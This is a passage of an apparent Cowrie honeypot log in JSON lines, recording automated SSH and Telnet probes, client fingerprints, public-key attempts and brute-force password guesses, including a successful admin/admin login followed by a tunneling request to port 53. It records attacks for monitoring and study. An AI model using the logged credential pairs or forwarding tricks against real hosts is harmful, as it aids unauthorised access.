openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:13:46.677727Z","src_ip":"80.94.92.184","session":"41b128749608","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"banxgg","password":"banxgg","message":"login attempt [banxgg/banxgg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:13:48.559016Z","src_ip":"80.94.92.184","session":"41b128749608","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:13:49.755413Z","src_ip":"80.94.92.184","session":"41b128749608","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":47094,"dst_ip":"159.203.135.109","dst_port":23,"session":"328a3b1e2812","protocol":"telnet","message":"New connection: 172.81.62.90:47094 (159.203.135.109:23) [session: 328a3b1e2812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:13:56.928827Z"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":56930,"dst_ip":"10.17.0.5","dst_port":23,"session":"277b92bf1e85","protocol":"telnet","message":"New connection: 132.148.22.172:56930 (10.17.0.5:23) [session: 277b92bf1e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:14:19.126462Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":60646,"dst_ip":"159.203.135.109","dst_port":22,"session":"f72da28a531c","protocol":"ssh","message":"New connection: 103.77.175.15:60646 (159.203.135.109:22) [session: f72da28a531c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:14:28.370747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:14:28.375479Z","src_ip":"103.77.175.15","session":"f72da28a531c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:14:28.631278Z","src_ip":"103.77.175.15","session":"f72da28a531c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120592","message":"login attempt [root/120592] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:14:29.398234Z","src_ip":"103.77.175.15","session":"f72da28a531c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:14:30.656356Z","src_ip":"103.77.175.15","session":"f72da28a531c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.79168081283569,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:14:35.720425Z","src_ip":"172.81.62.90","session":"328a3b1e2812","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.190659284591675,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:14:50.316985Z","src_ip":"132.148.22.172","session":"277b92bf1e85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.170.247.81","src_port":48606,"dst_ip":"10.17.0.5","dst_port":22,"session":"9751e6ab5f5e","protocol":"ssh","message":"New connection: 107.170.247.81:48606 (10.17.0.5:22) [session: 9751e6ab5f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:15:11.136770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:15:11.141259Z","src_ip":"107.170.247.81","session":"9751e6ab5f5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:15:11.221713Z","src_ip":"107.170.247.81","session":"9751e6ab5f5e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:a1:da:ba:c2:07:fb:70:ea:cc:68:a6:a4:20:d0:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBkZ6/hhyYTn7vTuUKoB20gDbhfuX83lCKIYIo3SFGfp0sgWt9h3AeCHrFQzmjHAGX08euvZh05I6NHnPTrwjcWw+VtIigNYtDAT+aqRaSNoqVjMvM9XYAdfrxHOLWLanuak4EDyr4UWOunbLXcC3AvDjV7ESJuSNMW8YSE3TYvKtfp+hBbd/zEBTk3H7HMDBvLlYS2avy3jtN7Rt/MjAiVlzMB/eRCIPBn9BNsVe68LNjiyDzaY2Nw0LJYTIoPIy5Sqck/gFtYF710+tvcAEXM9zeEC5exo8Edtrbkn8F9IaxMI76kWsXd6rjk2VwwG/me5D+K4Ku6PqAFta1XK/Q0VszK7UVxjbqzjnHH4yUBtfgiL1u9KkMCFDC24hUjrloy0y9iC09dxi+tO7EFhE7TdQga5UMsCrGp7ScZXnnDxLK7SwZzSul7lBSY1pRQQEJaQjYRB5OEcie+pBD6ezDv/g3+gUifJ+otMf0KhI5vWJiOmtGFjC6fL0Uo7albJs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:a1:da:ba:c2:07:fb:70:ea:cc:68:a6:a4:20:d0:7a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:15:11.598575Z","src_ip":"107.170.247.81","session":"9751e6ab5f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:a1:da:ba:c2:07:fb:70:ea:cc:68:a6:a4:20:d0:7a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBkZ6/hhyYTn7vTuUKoB20gDbhfuX83lCKIYIo3SFGfp0sgWt9h3AeCHrFQzmjHAGX08euvZh05I6NHnPTrwjcWw+VtIigNYtDAT+aqRaSNoqVjMvM9XYAdfrxHOLWLanuak4EDyr4UWOunbLXcC3AvDjV7ESJuSNMW8YSE3TYvKtfp+hBbd/zEBTk3H7HMDBvLlYS2avy3jtN7Rt/MjAiVlzMB/eRCIPBn9BNsVe68LNjiyDzaY2Nw0LJYTIoPIy5Sqck/gFtYF710+tvcAEXM9zeEC5exo8Edtrbkn8F9IaxMI76kWsXd6rjk2VwwG/me5D+K4Ku6PqAFta1XK/Q0VszK7UVxjbqzjnHH4yUBtfgiL1u9KkMCFDC24hUjrloy0y9iC09dxi+tO7EFhE7TdQga5UMsCrGp7ScZXnnDxLK7SwZzSul7lBSY1pRQQEJaQjYRB5OEcie+pBD6ezDv/g3+gUifJ+otMf0KhI5vWJiOmtGFjC6fL0Uo7albJs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:15:11.601849Z","src_ip":"107.170.247.81","session":"9751e6ab5f5e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ed:82:81:18:7d:94:57:38:93:15:ed:1a:fc:ba:cd:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCx5WdBzbcNaV9RJpxNovZqkdkdynhCJ3rfzemrkB7q/Q3YPywJ8zFcae+LSkE+vyhE9xnTHsTWdWKAIXVAxan5lbWLZGf7S1ZNKQplaYhNb9Hw9yYvha4tjXlhmVepddMrngw8bB8iT197UOj/mIX4I5T3uCWAHvz8iGsHEWOj4slA7oyyKHg9Di5OM84WaLw7wRHdX7v34a1DPiSYx6g3/OOWnPpzz5HvskYiAFzaBwraybrrYU1YEcuYf7BRYtonPpsXzABEZhNgAGDMNlb1wxEvQHHxbKrPRJ3xrBrmkUgY4tDSLvYTVFo2IT8n/aytjxuOFueJAfmnZCjKP/7zwr/B8OXTxZBiKX6JpyqvgGmXEkIOR7bTg7CGKgwA9+S/KcMrd/g/RxIyDZxg9KZeo0LZmG2x6DKyRd8Xl+KUkRc5BXQJWlBypiFemP8WIzk6lscomTO4AlrYoqYSB9HU0wUm1Z58WPAXePs3mWND6YuN9fd4OfP3XndtIOX2YAjXcgQfWVs5GL+tuJMmqERuTA2CZIMWYIk0jjyfSPnscvUMjaCj3Hojaxo5GruZf8audAToOoKTMy37h13nIjSYd8yTINrVU/YZrbWehQrqty+TRrVPl26RYOG31TQJX4qtjr7nqX3ReDuV+N388wbSt1+5WSj5GlHQirW4JbyrXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ed:82:81:18:7d:94:57:38:93:15:ed:1a:fc:ba:cd:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:15:11.681527Z","src_ip":"107.170.247.81","session":"9751e6ab5f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:82:81:18:7d:94:57:38:93:15:ed:1a:fc:ba:cd:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCx5WdBzbcNaV9RJpxNovZqkdkdynhCJ3rfzemrkB7q/Q3YPywJ8zFcae+LSkE+vyhE9xnTHsTWdWKAIXVAxan5lbWLZGf7S1ZNKQplaYhNb9Hw9yYvha4tjXlhmVepddMrngw8bB8iT197UOj/mIX4I5T3uCWAHvz8iGsHEWOj4slA7oyyKHg9Di5OM84WaLw7wRHdX7v34a1DPiSYx6g3/OOWnPpzz5HvskYiAFzaBwraybrrYU1YEcuYf7BRYtonPpsXzABEZhNgAGDMNlb1wxEvQHHxbKrPRJ3xrBrmkUgY4tDSLvYTVFo2IT8n/aytjxuOFueJAfmnZCjKP/7zwr/B8OXTxZBiKX6JpyqvgGmXEkIOR7bTg7CGKgwA9+S/KcMrd/g/RxIyDZxg9KZeo0LZmG2x6DKyRd8Xl+KUkRc5BXQJWlBypiFemP8WIzk6lscomTO4AlrYoqYSB9HU0wUm1Z58WPAXePs3mWND6YuN9fd4OfP3XndtIOX2YAjXcgQfWVs5GL+tuJMmqERuTA2CZIMWYIk0jjyfSPnscvUMjaCj3Hojaxo5GruZf8audAToOoKTMy37h13nIjSYd8yTINrVU/YZrbWehQrqty+TRrVPl26RYOG31TQJX4qtjr7nqX3ReDuV+N388wbSt1+5WSj5GlHQirW4JbyrXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:15:11.684694Z","src_ip":"107.170.247.81","session":"9751e6ab5f5e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:be:5b:51:57:5d:d1:91:cd:1f:f4:b1:94:a2:bf:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3Bh8tRwzsE1Ynat+su+OKOygmxC0GIAbZK0nWKdeIrEKPdFVK8KbcKfADIlAs0C55vECQebkIV0logOHTSGsBVm7CrPs/KTVL9XeLEtd5W2+/1BM6jOmB2f5ppyGRPXGqp3KD8taN4m0OgPOCFO0UwO9dsZcxAK2y2CEo3jNRyj/WOcV+JIcgWgRc2jLFSHFhC1tQcASzV4QJRoufVZmuc9Acj+FWXECycBYb1HNtxKbrb5PWfBt0qcr/fD2WwDtZarjd7AjuSVWd+aoCRPL0gcEp4tL71I3ILNzgKRY74FDFhbNsPyaRTfaYOGJG2JNW9cwkboYakUDhPIDZH2LIQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:be:5b:51:57:5d:d1:91:cd:1f:f4:b1:94:a2:bf:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:15:11.768005Z","src_ip":"107.170.247.81","session":"9751e6ab5f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:be:5b:51:57:5d:d1:91:cd:1f:f4:b1:94:a2:bf:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3Bh8tRwzsE1Ynat+su+OKOygmxC0GIAbZK0nWKdeIrEKPdFVK8KbcKfADIlAs0C55vECQebkIV0logOHTSGsBVm7CrPs/KTVL9XeLEtd5W2+/1BM6jOmB2f5ppyGRPXGqp3KD8taN4m0OgPOCFO0UwO9dsZcxAK2y2CEo3jNRyj/WOcV+JIcgWgRc2jLFSHFhC1tQcASzV4QJRoufVZmuc9Acj+FWXECycBYb1HNtxKbrb5PWfBt0qcr/fD2WwDtZarjd7AjuSVWd+aoCRPL0gcEp4tL71I3ILNzgKRY74FDFhbNsPyaRTfaYOGJG2JNW9cwkboYakUDhPIDZH2LIQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:15:11.771316Z","src_ip":"107.170.247.81","session":"9751e6ab5f5e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c9:bb:2f:8a:e1:92:31:6d:8b:5a:db:26:7e:63:7d:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx+8HK5gOWyjOXyLt9EZ7shYxnI+gqLTAwrZcMIgzHgV5m0/iUxr38yrMVKjlM6vvToMVOXsnSHNW0nmHrY1QI3Hqe3uLnupZ8c+xKW9EfJ86gEW6ObE/DzziFakrOwCMYhY3LRIV9VCyPs5X1pPnDTT6ixTcppzsueaHx58x8+V6EUFcGureCjXjTFA8OPpH6u+nlErHTyIn+HT/Ql5FZi5IYwZdswnI5qc/J74yEugCkJFy+OYfFdWvMe1fN7mMJz8Z1Xt1mBffuduu1s41EVAOLtEmLD06xCibze+QKVOljR7BPCbTboisCxZbNVZ2RcgWLtMwq2moZ19yPjlmb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c9:bb:2f:8a:e1:92:31:6d:8b:5a:db:26:7e:63:7d:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:15:11.852538Z","src_ip":"107.170.247.81","session":"9751e6ab5f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c9:bb:2f:8a:e1:92:31:6d:8b:5a:db:26:7e:63:7d:aa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCx+8HK5gOWyjOXyLt9EZ7shYxnI+gqLTAwrZcMIgzHgV5m0/iUxr38yrMVKjlM6vvToMVOXsnSHNW0nmHrY1QI3Hqe3uLnupZ8c+xKW9EfJ86gEW6ObE/DzziFakrOwCMYhY3LRIV9VCyPs5X1pPnDTT6ixTcppzsueaHx58x8+V6EUFcGureCjXjTFA8OPpH6u+nlErHTyIn+HT/Ql5FZi5IYwZdswnI5qc/J74yEugCkJFy+OYfFdWvMe1fN7mMJz8Z1Xt1mBffuduu1s41EVAOLtEmLD06xCibze+QKVOljR7BPCbTboisCxZbNVZ2RcgWLtMwq2moZ19yPjlmb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:15:11.855149Z","src_ip":"107.170.247.81","session":"9751e6ab5f5e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:72:c5:2d:94:df:b5:a5:ff:79:b9:57:84:ad:5e:2e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB2prRKOVPhTI1ooiqfKV76miRpClpNARqpxY9Qfz0tA","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 41:72:c5:2d:94:df:b5:a5:ff:79:b9:57:84:ad:5e:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:15:11.935027Z","src_ip":"107.170.247.81","session":"9751e6ab5f5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:72:c5:2d:94:df:b5:a5:ff:79:b9:57:84:ad:5e:2e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB2prRKOVPhTI1ooiqfKV76miRpClpNARqpxY9Qfz0tA","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:15:11.938784Z","src_ip":"107.170.247.81","session":"9751e6ab5f5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:15:12.020498Z","src_ip":"107.170.247.81","session":"9751e6ab5f5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54124,"dst_ip":"10.17.0.5","dst_port":22,"session":"b70431092943","protocol":"ssh","message":"New connection: 87.251.64.176:54124 (10.17.0.5:22) [session: b70431092943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:16:31.015449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:16:31.019751Z","src_ip":"87.251.64.176","session":"b70431092943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:16:31.117246Z","src_ip":"87.251.64.176","session":"b70431092943","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:16:31.403190Z","src_ip":"87.251.64.176","session":"b70431092943","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:16:31.499851Z","session":"b70431092943","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:16:31.596191Z","src_ip":"87.251.64.176","session":"b70431092943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:16:31.829064Z","src_ip":"87.251.64.176","session":"b70431092943","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":51144,"dst_ip":"10.17.0.5","dst_port":23,"session":"021113a16e25","protocol":"telnet","message":"New connection: 132.148.22.172:51144 (10.17.0.5:23) [session: 021113a16e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:16:52.372075Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58450,"dst_ip":"159.203.135.109","dst_port":23,"session":"545b81d09b36","protocol":"telnet","message":"New connection: 107.6.151.170:58450 (159.203.135.109:23) [session: 545b81d09b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:16:53.388504Z"}
{"eventid":"cowrie.session.closed","duration":30.676467895507812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:23.048415Z","src_ip":"132.148.22.172","session":"021113a16e25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":39182,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d44d34b81f9","protocol":"ssh","message":"New connection: 103.153.68.219:39182 (159.203.135.109:22) [session: 7d44d34b81f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:23.107095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:17:23.110917Z","src_ip":"103.153.68.219","session":"7d44d34b81f9","protocol":"ssh"}
